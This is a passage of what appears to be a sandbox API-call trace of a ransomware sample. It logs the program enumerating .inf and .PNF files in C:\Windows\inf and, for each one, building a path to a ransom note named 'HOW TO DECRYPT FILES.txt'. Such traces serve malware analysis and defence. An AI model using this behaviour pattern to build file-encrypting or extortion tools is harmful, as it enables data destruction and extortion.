lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.557] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.557] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnin002.inf" | out: lpString1="C:\\Windows\\inf\\prnin002.inf") returned="C:\\Windows\\inf\\prnin002.inf" [0130.557] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e33c3ab, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e33c3ab, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e36250b, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnin002.PNF", cAlternateFileName="")) returned 1 [0130.557] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.557] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnin002.inf") returned="prnin002.inf" [0130.558] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.558] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.558] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.558] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.558] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnin002.PNF" | out: lpString1="C:\\Windows\\inf\\prnin002.PNF") returned="C:\\Windows\\inf\\prnin002.PNF" [0130.558] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cc9cfda, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cc9cfda, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cc9cfda, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnin003.inf", cAlternateFileName="")) returned 1 [0130.558] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.558] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnin002.PNF") returned="prnin002.PNF" [0130.559] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.559] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.559] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.559] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.559] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnin003.inf" | out: lpString1="C:\\Windows\\inf\\prnin003.inf") returned="C:\\Windows\\inf\\prnin003.inf" [0130.559] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e57784f, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e57784f, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e57784f, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x71f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnin003.PNF", cAlternateFileName="")) returned 1 [0130.559] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.559] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnin003.inf") returned="prnin003.inf" [0130.559] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.559] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.559] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.560] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.560] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnin003.PNF" | out: lpString1="C:\\Windows\\inf\\prnin003.PNF") returned="C:\\Windows\\inf\\prnin003.PNF" [0130.560] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cce929b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cce929b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cce929b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x61e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnin004.inf", cAlternateFileName="")) returned 1 [0130.560] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.560] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnin003.PNF") returned="prnin003.PNF" [0130.560] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.560] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.560] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.560] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.560] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnin004.inf" | out: lpString1="C:\\Windows\\inf\\prnin004.inf") returned="C:\\Windows\\inf\\prnin004.inf" [0130.561] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7fefb4, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e7fefb4, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e7fefb4, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x5e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnin004.PNF", cAlternateFileName="")) returned 1 [0130.563] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.563] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnin004.inf") returned="prnin004.inf" [0130.563] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.563] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.563] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.563] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.563] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnin004.PNF" | out: lpString1="C:\\Windows\\inf\\prnin004.PNF") returned="C:\\Windows\\inf\\prnin004.PNF" [0130.563] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd0f3fb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd0f3fb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd0f3fb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x2f82, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnkm002.inf", cAlternateFileName="")) returned 1 [0130.563] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.564] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnin004.PNF") returned="prnin004.PNF" [0130.564] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.564] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.564] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e5c3b10, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e5c3b10, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e5c3b10, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x3c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnkm002.PNF", cAlternateFileName="")) returned 1 [0130.564] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.564] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnkm002.inf") returned="prnkm002.inf" [0130.564] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.564] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.565] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd3555b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd3555b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd3555b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1dc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnkm003.inf", cAlternateFileName="")) returned 1 [0130.565] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.565] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnkm002.PNF") returned="prnkm002.PNF" [0130.565] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.565] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.565] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e8713d5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e8713d5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e8713d5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x2e38, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnkm003.PNF", cAlternateFileName="")) returned 1 [0130.565] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.565] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnkm003.inf") returned="prnkm003.inf" [0130.565] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.565] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.566] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd3555b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd3555b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd3555b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xe22, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnkm004.inf", cAlternateFileName="")) returned 1 [0130.566] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.566] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnkm003.PNF") returned="prnkm003.PNF" [0130.566] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.566] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.566] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea3a458, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8ea3a458, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8ea3a458, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnkm004.PNF", cAlternateFileName="")) returned 1 [0130.566] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.567] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnkm004.inf") returned="prnkm004.inf" [0130.567] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.567] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.567] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd5b6bb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd5b6bb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd5b6bb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x14be, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnkm005.inf", cAlternateFileName="")) returned 1 [0130.567] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.567] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnkm004.PNF") returned="prnkm004.PNF" [0130.567] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.567] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.568] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec758fc, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8ec758fc, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8ec758fc, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnkm005.PNF", cAlternateFileName="")) returned 1 [0130.568] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.568] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnkm005.inf") returned="prnkm005.inf" [0130.568] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.568] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.568] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd5b6bb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd5b6bb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd5b6bb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4d28, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky002.inf", cAlternateFileName="")) returned 1 [0130.568] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.568] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnkm005.PNF") returned="prnkm005.PNF" [0130.568] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.568] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.569] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f40bf2a, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f40bf2a, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f40bf2a, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky002.PNF", cAlternateFileName="")) returned 1 [0130.569] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.569] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky002.inf") returned="prnky002.inf" [0130.569] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.569] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.569] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd8181c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd8181c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd8181c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x499c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky003.inf", cAlternateFileName="")) returned 1 [0130.569] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.569] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky002.PNF") returned="prnky002.PNF" [0130.569] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.570] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.570] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f5168cc, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f5168cc, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f5168cc, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x47c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky003.PNF", cAlternateFileName="")) returned 1 [0130.570] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.570] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky003.inf") returned="prnky003.inf" [0130.570] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.570] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.570] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cda797c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cda797c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cda797c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x31bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky004.inf", cAlternateFileName="")) returned 1 [0130.570] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.571] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky003.PNF") returned="prnky003.PNF" [0130.571] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.571] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.571] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f62126e, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f62126e, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f62126e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x33fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky004.PNF", cAlternateFileName="")) returned 1 [0130.571] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.571] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky004.inf") returned="prnky004.inf" [0130.571] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.571] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.571] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cdcdadc, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cdcdadc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cdcdadc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1908, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky005.inf", cAlternateFileName="")) returned 1 [0130.571] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.572] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky004.PNF") returned="prnky004.PNF" [0130.572] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.572] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.572] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f705ab0, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f705ab0, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f705ab0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky005.PNF", cAlternateFileName="")) returned 1 [0130.572] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.572] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky005.inf") returned="prnky005.inf" [0130.572] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.572] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.573] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cdcdadc, ftCreationTime.dwHighDateTime=0x1ca0444, 